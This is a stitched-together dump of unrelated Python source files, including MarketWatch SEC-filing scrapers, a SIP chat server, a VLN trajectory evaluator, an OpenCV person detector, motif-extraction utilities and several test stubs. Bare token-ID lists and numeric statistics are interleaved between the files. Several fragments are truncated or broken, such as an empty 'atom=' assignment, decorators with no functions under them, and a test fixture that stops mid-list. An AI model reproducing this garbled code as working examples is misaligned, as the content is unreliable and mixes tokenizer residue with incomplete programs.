MT["Unsubscribe"] = 16
MT["PauseSubscription"] = 85
MT["ResumeSubscription"] = 86
MT["SaveMessageLog"] = 56
MT["MessageLogSaved"] = 57
MT["PauseMessageLogging"] = 58
MT["ResumeMessageLogging"] = 59
MT["ResetMessageLog"] = 60
MT["DumpMessageLog"] = 61
MT["ForceDisconnect"] = 82
MT["ModuleReady"] = 26
MT["TimingMessage"] = 80
# START OF RTMA INTERNAL MESSAGE DEFINITIONS
MODULE_ID = ctypes.c_short
HOST_ID = ctypes.c_short
MSG_TYPE = ctypes.c_int
MSG_COUNT = ctypes.c_int
class Message(ctypes.Structure):
"""Subclasses of Message must implement _fields_, header_size, and header_type"""
@staticmethod
@staticmethod
# END OF RTMA INTERNAL MESSAGE DEFINTIONS
# Dictionary to lookup message name by message type id number
# This needs come after all the message defintions are defined
MT_BY_ID = {v: k for k, v in MT.items()}
def AddMessage(msg_name, msg_type, msg_def=None, signal=False):
"""Add a user message definition to the rtma module"""
mt = getattr(module, "MT")
mt[msg_name] = msg_type
mt_by_id = getattr(module, "MT_BY_ID")
mt_by_id[msg_type] = msg_name
if not signal:
setattr(module, msg_name, msg_def)
else:
setattr(module, msg_name, MSG_TYPE)
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8,
628
] | 2.666667 | 588 |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Copyright 2021 4Paradigm
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# -*- coding: utf-8 -*-
from testcasebase import TestCaseBase
import time
import threading
from libs.test_loader import load
from libs.logger import infoLogger
import libs.utils as utils
from libs.deco import multi_dimension
if __name__ == "__main__":
load(TestMakeSnapshot)
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220,
220,
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7,
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43826,
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8,
198
] | 3.36194 | 268 |
import struct
import traceback
from .util import compute_checksum
"""
tapextract.py - Extract the binary data from a TAP file
"""
def read_headerless_data(data_bytes):
"""only check the checksum and length here"""
computed_checksum = compute_checksum(data_bytes[:-1])
checksum = struct.unpack_from('<B', data_bytes, len(data_bytes) - 1)[0]
return data_bytes[1:-1] # strip the flags and checksum
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62,
33661,
8,
532,
352,
38381,
15,
60,
198,
220,
220,
220,
1441,
1366,
62,
33661,
58,
16,
21912,
16,
60,
220,
1303,
10283,
262,
9701,
290,
8794,
388,
628,
198
] | 2.950355 | 141 |
import MolecularSystem
msys=MolecularSystem.Universe()
atom=
for ii in xrange(300):
msys.add_atom()
msys._atomDB.df
| [
11748,
38275,
11964,
198,
198,
907,
893,
28,
44,
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11964,
13,
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3419,
198,
198,
907,
893,
13557,
37696,
11012,
13,
7568,
198
] | 2.431373 | 51 |
import re
| [
11748,
302,
628,
628,
198
] | 2.8 | 5 |
""" Market Watch View """
__docformat__ = "numpy"
import argparse
from typing import List
import re
import requests
import pandas as pd
from bs4 import BeautifulSoup
import numpy as np
from gamestonk_terminal.helper_funcs import (
check_positive,
get_user_agent,
clean_data_values_to_float,
int_or_round_float,
parse_known_args_and_warn,
)
# pylint: disable=too-many-branches
def sec_fillings(other_args: List[str], ticker: str):
"""Display SEC filings for a given stock ticker
Parameters
----------
other_args : List[str]
argparse other args - ["-n", "10"]
ticker : str
Stock ticker
"""
parser = argparse.ArgumentParser(
add_help=False,
prog="sec",
description="""
Prints SEC filings of the company. The following fields are expected: Filing Date,
Document Date, Type, Category, Amended, and Link. [Source: Market Watch]
""",
)
parser.add_argument(
"-n",
"--num",
action="store",
dest="n_num",
type=check_positive,
default=5,
help="number of latest SEC filings.",
)
try:
ns_parser = parse_known_args_and_warn(parser, other_args)
if not ns_parser:
return
pd.set_option("display.max_colwidth", None)
url_financials = f"https://www.marketwatch.com/investing/stock/{ticker}/financials/secfilings"
text_soup_financials = BeautifulSoup(
requests.get(url_financials, headers={"User-Agent": get_user_agent()}).text,
"lxml",
)
# a_financials_header = list()
df_financials = None
b_ready_to_process_info = False
soup_financials = text_soup_financials.findAll("tr", {"class": "table__row"})
for financials_info in soup_financials:
a_financials = financials_info.text.split("\n")
# If header has been processed and dataframe created ready to populate the SEC information
if b_ready_to_process_info:
l_financials_info = [a_financials[2]]
l_financials_info.extend(a_financials[5:-1])
l_financials_info.append(financials_info.a["href"])
# Append data values to financials
df_financials.loc[len(df_financials.index)] = l_financials_info # type: ignore
if "Filing Date" in a_financials:
l_financials_header = [a_financials[2]]
l_financials_header.extend(a_financials[5:-1])
l_financials_header.append("Link")
df_financials = pd.DataFrame(columns=l_financials_header)
df_financials.set_index("Filing Date")
b_ready_to_process_info = True
# Set Filing Date as index
df_financials = df_financials.set_index("Filing Date") # type: ignore
print(df_financials.head(n=ns_parser.n_num).to_string())
print("")
except Exception as e:
print(e)
print("")
return
def sean_seah_warnings(other_args: List[str], ticker: str):
"""Display Sean Seah warnings
Parameters
----------
other_args : List[str]
argparse other args
ticker : str
Stock ticker
"""
parser = argparse.ArgumentParser(
add_help=False,
prog="warnings",
description="""
Sean Seah warnings. Check: Consistent historical earnings per share;
Consistently high return on equity; Consistently high return on assets; 5x Net
Income > Long-Term Debt; and Interest coverage ratio more than 3. See
https://www.drwealth.com/gone-fishing-with-buffett-by-sean-seah/comment-page-1/
[Source: Market Watch]
""",
)
parser.add_argument(
"-i",
"--info",
action="store_true",
default=False,
dest="b_info",
help="provide more information about Sean Seah warning rules.",
)
parser.add_argument(
"-d",
"--debug",
action="store_true",
default=False,
dest="b_debug",
help="print insights into warnings calculation.",
)
try:
ns_parser = parse_known_args_and_warn(parser, other_args)
if not ns_parser:
return
if ns_parser.b_info:
filepath = "fundamental_analysis/info_sean_seah.txt"
with open(filepath) as fp:
line = fp.readline()
while line:
print(f"{line.strip()}")
line = fp.readline()
print("")
# From INCOME STATEMENT, get: 'EPS (Basic)', 'Net Income', 'Interest Expense', 'EBITDA'
url_financials = (
f"https://www.marketwatch.com/investing/stock/{ticker}/financials/income"
)
text_soup_financials = BeautifulSoup(
requests.get(url_financials, headers={"User-Agent": get_user_agent()}).text,
"lxml",
)
# Define financials columns
a_financials_header = list()
for financials_header in text_soup_financials.findAll(
"th", {"class": "overflow__heading"}
):
a_financials_header.append(
financials_header.text.strip("\n").split("\n")[0]
)
df_financials = pd.DataFrame(columns=a_financials_header[0:-1])
# Add financials values
soup_financials = text_soup_financials.findAll(
lambda tag: tag.name == "tr" and tag.get("class") == ["table__row"]
)
soup_financials += text_soup_financials.findAll(
"tr", {"class": "table__row is-highlighted"}
)
for financials_info in soup_financials:
financials_row = financials_info.text.split("\n")
if len(financials_row) > 5:
for item in financials_row:
if bool(re.search(r"\d", item)):
a_financials_info = financials_info.text.split("\n")
l_financials = [a_financials_info[2]]
l_financials.extend(a_financials_info[5:-2])
# Append data values to financials
df_financials.loc[len(df_financials.index)] = l_financials
break
l_fin = ["EPS (Basic)", "Net Income", "Interest Expense", "EBITDA"]
if not all(elem in df_financials["Item"].values for elem in l_fin):
print("The source doesn't contain all necessary financial data")
print(url_financials, "\n")
return
# Set item name as index
df_financials = df_financials.set_index("Item")
df_sean_seah = df_financials.loc[l_fin]
# From BALANCE SHEET, get: 'Liabilities & Shareholders\' Equity', 'Long-Term Debt'
url_financials = f"https://www.marketwatch.com/investing/stock/{ticker}/financials/balance-sheet"
text_soup_financials = BeautifulSoup(
requests.get(url_financials, headers={"User-Agent": get_user_agent()}).text,
"lxml",
)
# Define financials columns
a_financials_header = list()
for financials_header in text_soup_financials.findAll(
"th", {"class": "overflow__heading"}
):
a_financials_header.append(
financials_header.text.strip("\n").split("\n")[0]
)
s_header_end_trend = "5-year trend"
df_financials = pd.DataFrame(
columns=a_financials_header[
0 : a_financials_header.index(s_header_end_trend)
]
)
# Add financials values
soup_financials = text_soup_financials.findAll(
lambda tag: tag.name == "tr" and tag.get("class") == ["table__row"]
)
soup_financials += text_soup_financials.findAll(
"tr", {"class": "table__row is-highlighted"}
)
for financials_info in soup_financials:
financials_row = financials_info.text.split("\n")
if len(financials_row) > 5:
for item in financials_row:
if bool(re.search(r"\d", item)):
a_financials_info = financials_info.text.split("\n")
l_financials = [a_financials_info[2]]
l_financials.extend(a_financials_info[5:-2])
# Append data values to financials
df_financials.loc[len(df_financials.index)] = l_financials
break
# Set item name as index
df_financials = df_financials.set_index("Item")
# Create dataframe to compute meaningful metrics from sean seah book
df_sean_seah = df_sean_seah.append(
df_financials.loc[
[
"Total Shareholders' Equity",
"Liabilities & Shareholders' Equity",
"Long-Term Debt",
]
]
)
# Clean these metrics by parsing their values to float
df_sean_seah = df_sean_seah.applymap(lambda x: clean_data_values_to_float(x))
# Add additional necessary metrics
series = (
df_sean_seah.loc["Net Income"]
/ df_sean_seah.loc["Total Shareholders' Equity"]
)
series.name = "ROE"
df_sean_seah = df_sean_seah.append(series)
series = df_sean_seah.loc["EBITDA"] / df_sean_seah.loc["Interest Expense"]
series.name = "Interest Coverage Ratio"
df_sean_seah = df_sean_seah.append(series)
series = (
df_sean_seah.loc["Net Income"]
/ df_sean_seah.loc["Liabilities & Shareholders' Equity"]
)
series.name = "ROA"
df_sean_seah = df_sean_seah.append(series)
print(df_sean_seah.applymap(lambda x: int_or_round_float(x)).to_string())
n_warnings = 0
print("\nWARNINGS:")
if np.any(df_sean_seah.loc["EPS (Basic)"].diff().dropna().values < 0):
print("NO consistent historical earnings per share")
n_warnings += 1
if ns_parser.b_debug:
sa_eps = np.array2string(
df_sean_seah.loc["EPS (Basic)"].values,
formatter={"float_kind": lambda x: int_or_round_float(x)},
)
print(f" EPS: {sa_eps}")
sa_growth = np.array2string(
df_sean_seah.loc["EPS (Basic)"].diff().dropna().values,
formatter={"float_kind": lambda x: int_or_round_float(x)},
)
print(f" Growth: {sa_growth} < 0")
if np.any(df_sean_seah.loc["ROE"].values < 0.15):
print("NOT consistently high return on equity")
n_warnings += 1
if ns_parser.b_debug:
sa_roe = np.array2string(
df_sean_seah.loc["ROE"].values,
formatter={"float_kind": lambda x: int_or_round_float(x)},
)
print(f" ROE: {sa_roe} < 0.15")
if np.any(df_sean_seah.loc["ROA"].values < 0.07):
print("NOT consistently high return on assets")
n_warnings += 1
if ns_parser.b_debug:
sa_roa = np.array2string(
df_sean_seah.loc["ROA"].values,
formatter={"float_kind": lambda x: int_or_round_float(x)},
)
print(f" ROA: {sa_roa} < 0.07")
if np.any(
df_sean_seah.loc["Long-Term Debt"].values
> 5 * df_sean_seah.loc["Net Income"].values
):
print("5x Net Income < Long-Term Debt")
n_warnings += 1
if ns_parser.b_debug:
sa_5_net_income = np.array2string(
5 * df_sean_seah.loc["Net Income"].values,
formatter={"float_kind": lambda x: int_or_round_float(x)},
)
print(f" 5x NET Income: {sa_5_net_income}")
sa_long_term_debt = np.array2string(
df_sean_seah.loc["Long-Term Debt"].values,
formatter={"float_kind": lambda x: int_or_round_float(x)},
)
print(f" lower than Long-Term Debt: {sa_long_term_debt}")
if np.any(df_sean_seah.loc["Interest Coverage Ratio"].values < 3):
print("Interest coverage ratio less than 3")
n_warnings += 1
if ns_parser.b_debug:
sa_interest_coverage_ratio = np.array2string(
100 * df_sean_seah.loc["Interest Coverage Ratio"].values,
formatter={"float_kind": lambda x: int_or_round_float(x)},
)
print(f" Interest Coverage Ratio: {sa_interest_coverage_ratio} < 3")
if n_warnings == 0:
print("None. Good stonk")
print("")
except Exception as e:
print(e)
print("")
return
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] | 1.985849 | 6,572 |
# TODO - redundant file, and functionality, as we use scipy!
import math
| [
2,
16926,
46,
532,
30806,
2393,
11,
290,
11244,
11,
355,
356,
779,
629,
541,
88,
0,
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11748,
10688,
628
] | 3.409091 | 22 |
# Copyright 2014 Facebook, Inc.
# You are hereby granted a non-exclusive, worldwide, royalty-free license to
# use, copy, modify, and distribute this software in source code or binary
# form for use in connection with the web services and APIs provided by
# Facebook.
# As with any software that integrates with the Facebook platform, your use
# of this software is subject to the Facebook Developer Principles and
# Policies [http://developers.facebook.com/policy/]. This copyright notice
# shall be included in all copies or substantial portions of the software.
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
# THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
# DEALINGS IN THE SOFTWARE.
from facebook_business.adobjects.abstractobject import AbstractObject
from facebook_business.adobjects.abstractcrudobject import AbstractCrudObject
from facebook_business.adobjects.objectparser import ObjectParser
from facebook_business.api import FacebookRequest
from facebook_business.typechecker import TypeChecker
"""
This class is auto-generated.
For any issues or feature requests related to this class, please let us know on
github and we'll fix in our codegen framework. We'll not be able to accept
pull request for this class.
"""
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''' Evaluation of agent trajectories against the simulator (nav graph)
ground truth '''
import os
import sys
import json
import math
from collections import defaultdict
import networkx as nx
import numpy as np
from dtw import DTW
BASE_DIR = 'src/vln_evaluation/'
GT = BASE_DIR + 'data/R2R_coda.json'
CONN = BASE_DIR + 'data/connectivity/'
WMAP_JSON_OUTPUT = BASE_DIR + 'data/bags/wmap/submit_coda_robot_wmap.json'
NOMAP_JSON_OUTPUT = BASE_DIR + 'data/bags/nomap/submit_coda_robot_nomap.json'
class SimEvaluation(object):
''' Results submission format: [{'instr_id': string, 'trajectory':[(viewpoint_id, heading_rads, elevation_rads),] } ] '''
def nav_error(self, instr_id, path):
''' Shortcut for getting some numbers on the fly. '''
gt = self.gt[int(instr_id.split('_')[0])]
start = gt['path'][0]
assert start == path[0][0], 'Result trajectories should include the start position'
goal = gt['path'][-1]
final_position = path[-1][0]
return self.distances[final_position][goal]
def _score_item(self, instr_id, path):
''' Calculate error based on the final position in trajectory, and also
the closest position (oracle stopping rule). '''
gt = self.gt[instr_id]
path = self.path_to_points(path, gt['scan'])
start_pos = gt['trajectory'][0]
assert self.distance(start_pos, path[0]) < 0.1, 'Result trajectories should include the start position'
goal_pos = gt['trajectory'][-1]
final_position = path[-1]
#APPROXIMATION - We just use a straight line distance here
final_dist = self.distance(goal_pos, final_position)
self.scores['nav_errors'].append(final_dist)
min_dist = final_dist
path_len = 0
for i,pos in enumerate(path):
dist = self.distance(goal_pos, pos)
if dist < min_dist:
min_dist = dist
if i > 0:
path_len += self.distance(pos, path[i-1])
self.scores['oracle_errors'].append(min_dist)
self.scores['trajectory_lengths'].append(path_len)
if 'path' in gt:
self.scores['shortest_path_lengths'].append(self.distances[gt['scan']][gt['path'][0]][gt['path'][-1]])
else: # Assume the reference path is the shortest path to goal
ref_len = np.array([self.distance(a,b) for a,b in zip(path[:-1],path[1:])]).sum()
self.scores['shortest_path_lengths'].append(ref_len)
# Add ntdw and sdtw
self.scores['ndtw'].append(self.dtw(path, gt['trajectory'], metric='ndtw'))
self.scores['sdtw'].append(self.dtw(path, gt['trajectory'], metric='sdtw'))
def score(self, data):
''' Evaluate each agent trajectory based on how close it got to the goal location '''
self.scores = defaultdict(list)
instr_ids = set(self.instr_ids)
for item in data:
item['instr_id'] = str(item['instr_id'])
# Check against expected ids
if item['instr_id'] in ['0_0', '0_1', '0_2', '9_0', '9_1', '9_2', '32_0', '32_1', '32_2']:
continue
if item['instr_id'] in instr_ids:
instr_ids.remove(item['instr_id'])
self._score_item(item['instr_id'], item['trajectory'])
if len(instr_ids) != 0:
print('Trajectories not provided for %d instruction ids: %s' % (len(instr_ids),instr_ids))
num_successes = len([i for i in self.scores['nav_errors'] if i < self.error_margin])
oracle_successes = len([i for i in self.scores['oracle_errors'] if i < self.error_margin])
spls = []
for err,length,sp in zip(self.scores['nav_errors'],self.scores['trajectory_lengths'],self.scores['shortest_path_lengths']):
if err < self.error_margin:
spls.append(sp/max(length,sp))
else:
spls.append(0)
score_summary ={
'length': np.average(self.scores['trajectory_lengths']),
'nav_error': np.average(self.scores['nav_errors']),
'oracle success_rate': float(oracle_successes)/float(len(self.scores['oracle_errors'])),
'success_rate': float(num_successes)/float(len(self.scores['nav_errors'])),
'spl': np.average(spls),
'sdtw': np.average(self.scores['sdtw']),
'ndtw': np.average(self.scores['ndtw'])
}
assert score_summary['spl'] <= score_summary['success_rate']
return score_summary, self.scores
def score_ntdw():
''' Calculate ntdw between different experimental settings for paper Table 3. '''
EXPS = ['sim_results/baseline/submit_coda.json',
'sim_results/baseline/submit_coda_theta_1.json',
'sim_results/baseline/submit_coda_theta_2.json',
'sim_results/baseline/submit_coda_theta_3.json',
'sim_results/baseline_color_jittered/submit_coda_theta_1.json',
'sim_results/baseline_color_jittered/submit_coda_theta_2.json',
'sim_results/baseline_color_jittered/submit_coda_theta_3.json',
'bags/wmap/submit_coda_robot_wmap.json', # Robot with map
'bags/nomap/submit_coda_robot_nomap.json'] # Robot no map
ntdw = np.zeros((len(EXPS), len(EXPS)))
scorer = DTW()
print('\nCalculating ntdw matrix for %s' % EXPS)
for i, ref_path in enumerate(EXPS):
with open('src/vln_evaluation/data/%s' % ref_path) as f:
ref = json.load(f)
for item in ref:
item['path_id'] = int(item['instr_id'].split('_')[0])
evaluator = SimEvaluation(ref, CONN)
for j, pred_path in enumerate(EXPS):
with open('src/vln_evaluation/data/%s' % pred_path) as f:
pred = json.load(f)
summary,scores = evaluator.score(pred)
ntdw[i,j] = summary['ndtw']
print(ntdw)
if __name__ == '__main__':
evaluate(WMAP_JSON_OUTPUT)
evaluate(NOMAP_JSON_OUTPUT)
score_ntdw()
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] | 2.202394 | 2,673 |
#
# Group Chat Server
#
# Copyright (C) 2019 Internet Real-Time Laboratory
#
# Written by Jan Janak <[email protected]>
#
import re
import os
import shlex
import types
import time
import json
import sqlite3
import traceback
import pjsua2 as pj
import time
from types import SimpleNamespace
from email.utils import formatdate, parseaddr
DOMAIN = os.environ['DOMAIN']
ADMIN_PASSWORD = os.environ['ADMIN_PASSWORD']
OUTBOUND_PROXY = os.environ.get('OUTBOUND_PROXY', 'sip:127.0.0.1:5060;transport=tcp')
REGISTRAR = os.environ.get('REGISTRAR', 'sip:%s' % DOMAIN)
CMD_MARKER = os.environ.get('CMD_MARKER', '#')
DEBUG = os.environ.get('DEBUG', False)
LISTEN = os.environ.get('LISTEN', '127.0.0.1:0')
ROBOT = os.environ.get('ROBOT', '"Chat Robot" <sip:chatrobot@%s>' % DOMAIN)
DB_FILE = os.environ.get('DB_FILE', '/data/chat.db')
# Returns a name-addr from the following formats:
# - username
# - sip:username@domain
# - display_name <sip:username@domain>
#
if __name__ == "__main__":
# Global registries of pjsip accounts and budies so that they do
# not get garbage collected by Python while the native library
# still holds references to those.
accounts = dict()
buddies = dict()
trampoline = dict()
outbox = None
request = None
create_database()
try:
ua = UserAgent()
RobotAccount()
for naddr in Room.enum():
RoomAccount(naddr, register=True)
outbox = Outbox()
ua.run()
finally:
ua.cleanup()
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] | 2.38914 | 663 |
"""
forecast.py
author: Jonathan Tsai <[email protected]>
Python interface to Forecast API
Usage:
python forecast.py LATITUDE LONGITUDE
python forecast.py -t TIMESTAMP LATITUDE LONGITUDE
Examples:
$ python forecast.py 37.8267 -122.423
"""
import getopt
import json
import requests
import os
import sys
import urllib
from keys import FORECAST_API_KEY
FORECAST_URL = 'https://api.forecast.io/forecast/%(api_key)s/%(latitude)s,%(longitude)s'
FORECAST_DATPOINT_URL = 'https://api.forecast.io/forecast/%(api_key)s/%(latitude)s,%(longitude)s,%(timestamp)s'
if __name__ == '__main__':
main()
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] | 2.495902 | 244 |
import time
import numpy as np
import argparse
import cv2
pt = './pi-object-detection/MobileNetSSD_deploy.prototxt.txt'
ca = './pi-object-detection/MobileNetSSD_deploy.caffemodel'
CLASSES = ["background", "aeroplane", "bicycle", "bird", "boat",
"bottle", "bus", "car", "cat", "chair", "cow", "diningtable",
"dog", "horse", "motorbike", "person", "pottedplant", "sheep",
"sofa", "train", "tvmonitor"]
COLORS = np.random.uniform(0, 255, size=(len(CLASSES), 3))
testfile = "erwin1.mp4"
cf = 0.6
video_captured = cv2.VideoCapture(testfile)
print("testing", testfile)
fps = video_captured.get(cv2.CAP_PROP_FPS) # OpenCV2 version 2 used "CV_CAP_PROP_FPS"
frame_count = int(video_captured.get(cv2.CAP_PROP_FRAME_COUNT))
duration = frame_count/fps
print('fps = ' + str(fps))
print('number of frames = ' + str(frame_count))
print('duration (S) = ' + str(duration))
minutes = int(duration/60)
seconds = duration%60
print('duration (M:S) = ' + str(minutes) + ':' + str(seconds))
frame_nbr = 0
start_time = time.time()
while (video_captured.isOpened()):
# read frame-by-frame
ret, image = video_captured.read()
if ret == False:
break
if frame_nbr < 150:
frame_nbr+= 1
continue
net = cv2.dnn.readNetFromCaffe(pt, ca)
(h, w) = image.shape[:2]
blob = cv2.dnn.blobFromImage(cv2.resize(image, (300, 300)), 0.007843, (300, 300), 127.5)
net.setInput(blob)
detections = net.forward()
for i in np.arange(0, detections.shape[2]):
# extract the confidence (i.e., probability) associated with the
# prediction
confidence = detections[0, 0, i, 2]
# filter out weak detections by ensuring the `confidence` is
# greater than the minimum confidence
if confidence > cf:
# extract the index of the class label from the `detections`,
# then compute the (x, y)-coordinates of the bounding box for
# the object
idx = int(detections[0, 0, i, 1])
box = detections[0, 0, i, 3:7] * np.array([w, h, w, h])
(startX, startY, endX, endY) = box.astype("int")
# display the prediction
label = "{}: {:.2f}%".format(CLASSES[idx], confidence * 100)
if CLASSES[idx] == 'person':
print("[INFO] {}".format(label))
cv2.rectangle(image, (startX, startY), (endX, endY), COLORS[idx], 2)
y = startY - 15 if startY - 15 > 15 else startY + 15
cv2.putText(image, label, (startX, y), cv2.FONT_HERSHEY_SIMPLEX, 0.5, COLORS[idx], 2)
cv2.imwrite("/home/administrator/snap/frame%d.jpg" % frame_nbr, image)
frame_nbr += 1
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] | 2.227197 | 1,206 |
# Copyright 2019 The TensorFlow Hub Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# ==============================================================================
"""Tests tensorflow_hub.tools.make_nearest_neighbour_index.index_builder."""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import os
import sys
from absl import flags
import tensorflow as tf
from tensorflow_hub.tools.make_nearest_neighbour_index import index_builder
# resources dependency
MNNI_FOLDER = ("org_tensorflow_hub/tools/"
"make_nearest_neighbour_index/")
FLAGS = flags.FLAGS
flags.DEFINE_integer("embed_output_dir", None, "")
flags.DEFINE_integer("num_trees", 10, "")
flags.DEFINE_string("index_output_dir", None, "")
def _ensure_tf2():
"""Ensure running with TensorFlow 2 behavior.
This function is safe to call even before flags have been parsed.
Raises:
ImportError: If tensorflow is too old for proper TF2 behavior.
"""
print("Running with tensorflow %s (git version %s)", tf.__version__,
tf.__git_version__)
if tf.__version__.startswith("1."):
if tf.__git_version__ == "unknown": # For internal testing use.
try:
tf.compat.v1.enable_v2_behavior()
return
except AttributeError:
pass # Fail below for missing enabler function.
raise ImportError("Sorry, this program needs TensorFlow 2.")
if __name__ == "__main__":
try:
_ensure_tf2()
except ImportError as e:
print("Skipping tests:", str(e))
sys.exit(0)
tf.test.main()
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] | 3.097059 | 680 |
"""Feature map based model interpretation methods in NvTK.
"""
import torch
import logging
import numpy as np
from .Motif import normalize_pwm
__all__ = ["get_activate_W", "get_fmap", "get_activate_W_from_fmap",
"get_activate_sequence_from_fmap", "save_activate_seqlets"]
def _get_W_from_conv(model, motif_width=5, normalize=True, device=torch.device("cuda")):
'''
Experimental function!
get motif directly from convolution parameters,
PWM were extracted from `model.Embedding.conv`
'''
x_tensor = torch.zeros((4, 4, motif_width)).to(device)
x_tensor[0,0,:] = 1
x_tensor[1,1,:] = 1
x_tensor[2,2,:] = 1
x_tensor[3,3,:] = 1
try:
fmap = model.Embedding.conv(x_tensor).data.cpu().numpy()
except AttributeError:
logging.error("Check if you model have model.Embedding.conv attr?")
raise AttributeError
W = fmap.swapaxes(0, 1).clip(0)
if normalize:
W = np.array([normalize_pwm(pwm) for pwm in W])
return W
# hook
def get_fmap(model, hook_module, data_loader, device=torch.device("cuda")):
"""Get feature map of input data at model.hook_module
Parameters
----------
model :
model
hook_module : int
hook_module
data_loader : torch.Data.Dataloader
input data
device : torch.device, optional
torch.device, Default is `torch.device("cuda")`.
Returns
----------
fmap : np.ndarr
feature map of input data at model.hook_module
X : np.ndarr
input data
"""
fmap, X = [], []
model.eval()
with torch.no_grad():
activations = ActivateFeaturesHook(hook_module)
for x_tensor, _ in data_loader:
x_tensor = x_tensor.to(device)
_ = model(x_tensor)
X.append(x_tensor.cpu().numpy())
fmap.append(activations.get_features())
fmap = np.vstack(fmap)
X = np.vstack(X)
activations.close()
return fmap, X
def get_activate_W_from_fmap(fmap, X, pool=1, threshold=0.99, motif_width=10):
"""Get activated motif pwm from feature map
Parameters
----------
fmap : np.ndarr
feature map of input data at model.hook_module
X : np.ndarr
input data
pool : int
input data
threshold : floor
threshold determine the activated sites in feature map
motif_width : int
width of motif, the width region sequence of activated sites
will be normalized as counts
Returns
----------
W : np.ndarr
array of activated motif pwm,
shape of W (n_filters, 4, motif_width)
"""
motif_nb = fmap.shape[1]
X_dim, seq_len = X.shape[1], X.shape[-1]
W=[]
for filter_index in range(motif_nb):
# find regions above threshold
data_index, pos_index = np.where(fmap[:,filter_index,:] > np.max(fmap[:,filter_index,:], axis=1, keepdims=True)*threshold)
seq_align = []; count_matrix = []
for i in range(len(pos_index)):
# pad 1-nt
start = pos_index[i] - 1 # - motif_width // 2
end = start + motif_width + 2
# handle boundary conditions
if end > seq_len:
end = seq_len
start = end - motif_width - 2
if start < 0:
start = 0
end = start + motif_width + 2
seq = X[data_index[i], :, start*pool:end*pool]
seq_align.append(seq)
count_matrix.append(np.sum(seq, axis=0, keepdims=True))
seq_align = np.array(seq_align)
count_matrix = np.array(count_matrix)
# normalize counts
seq_align = (np.sum(seq_align, axis=0)/np.sum(count_matrix, axis=0))*np.ones((X_dim, (motif_width+2)*pool))
seq_align[np.isnan(seq_align)] = 0
W.append(seq_align)
W = np.array(W)
return W
def get_activate_W(model, hook_module, data, pool=1, threshold=0.99, motif_width=20):
"""Get activated motif pwm of input data at model.hook_module
Parameters
----------
model :
model
hook_module : int
hook_module
data_loader : torch.Data.Dataloader
input data
device : torch.device, optional
torch.device, Default is `torch.device("cuda")`.
pool : int
input data
threshold : floor
threshold determine the activated sites in feature map
motif_width : int
width of motif, the width region sequence of activated sites
will be normalized as counts
Returns
----------
W : np.ndarr
array of activated motif pwm,
shape of W (n_filters, 4, motif_width)
"""
fmap, X = get_fmap(model, hook_module, data)
W = get_activate_W_from_fmap(fmap, X, pool, threshold, motif_width)
return W
def get_activate_sequence_from_fmap(fmap, X, pool=1, threshold=0.99, motif_width=40):
"""Get activated sequence from feature map.
Seqlets could be further analyzed by bioinformatic softwares,
such as Homer2.
Parameters
----------
fmap : np.ndarr
feature map of input data at model.hook_module
X : np.ndarr
input data
pool : int
input data
threshold : floor
threshold determine the activated sites in feature map
motif_width : int
width of motif, the width region sequence of activated sites
will be normalized as counts
Returns
----------
W : list
list of activated motif seqlets,
shape of W (n_filters, 4, motif_width)
M : list
Seqlet Names, defined as "Motif_Act"
"""
motif_nb = fmap.shape[1]
seq_len = X.shape[-1]
W, M = [], []
for filter_index in range(motif_nb):
# find regions above threshold
data_index, pos_index = np.where(fmap[:,filter_index,:] > np.max(fmap[:,filter_index,:], axis=1, keepdims=True)*threshold)
for i in range(len(pos_index)):
# handle boundary conditions
start = pos_index[i] - 1
end = pos_index[i] + motif_width + 2
if end > seq_len:
end = seq_len
start= end - motif_width - 2
if start < 0:
start = 0
end = start + motif_width + 2
seq = X[data_index[i], :, start*pool:end*pool]
W.append(seq)
M.append('_'.join(("Motif", str(filter_index), "Act", str(i))))
return W, M
def save_activate_seqlets(model, hook_module, data, out_fname, pool=1, threshold=0.99, motif_width=40):
"""Save activated Seqlets pwm from feature map
Seqlets could be further analyzed by bioinformatic softwares,
such as Homer2.
Parameters
----------
model :
model
hook_module : int
hook_module
data_loader : torch.Data.Dataloader
input data
out_fname : str
output file name
device : torch.device, optional
torch.device, Default is `torch.device("cuda")`.
pool : int
input data
threshold : floor
threshold determine the activated sites in feature map
motif_width : int
width of motif, the width region sequence of activated sites
will be normalized as counts
"""
fmap, X = get_fmap(model, hook_module, data)
gene_seq, gene_name = get_activate_sequence_from_fmap(fmap, X, pool=pool, threshold=threshold, motif_width=motif_width)
onehot2seq(gene_seq, gene_name, out_fname)
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] | 2.288073 | 3,270 |
"""Test cases for `Kernel.__call__`."""
from typing import Callable, Optional, Tuple, Union
import numpy as np
import pytest
import probnum as pn
from probnum.typing import ShapeType
from ._utils import _shape_param_to_id_str
D_IN = None
@pytest.fixture(
params=[
pytest.param(
(x0_shape, x1_shape),
id=(
f"x0{_shape_param_to_id_str(x0_shape)}-"
f"x1{_shape_param_to_id_str(x1_shape)}"
),
)
for x0_shape, x1_shape in [
[(), None],
[(), ()],
[(1,), None],
[(1,), (1,)],
[(D_IN,), None],
[(D_IN,), (D_IN,)],
[(), (1,)],
[(), (D_IN,)],
[(1,), ()],
[(D_IN,), ()],
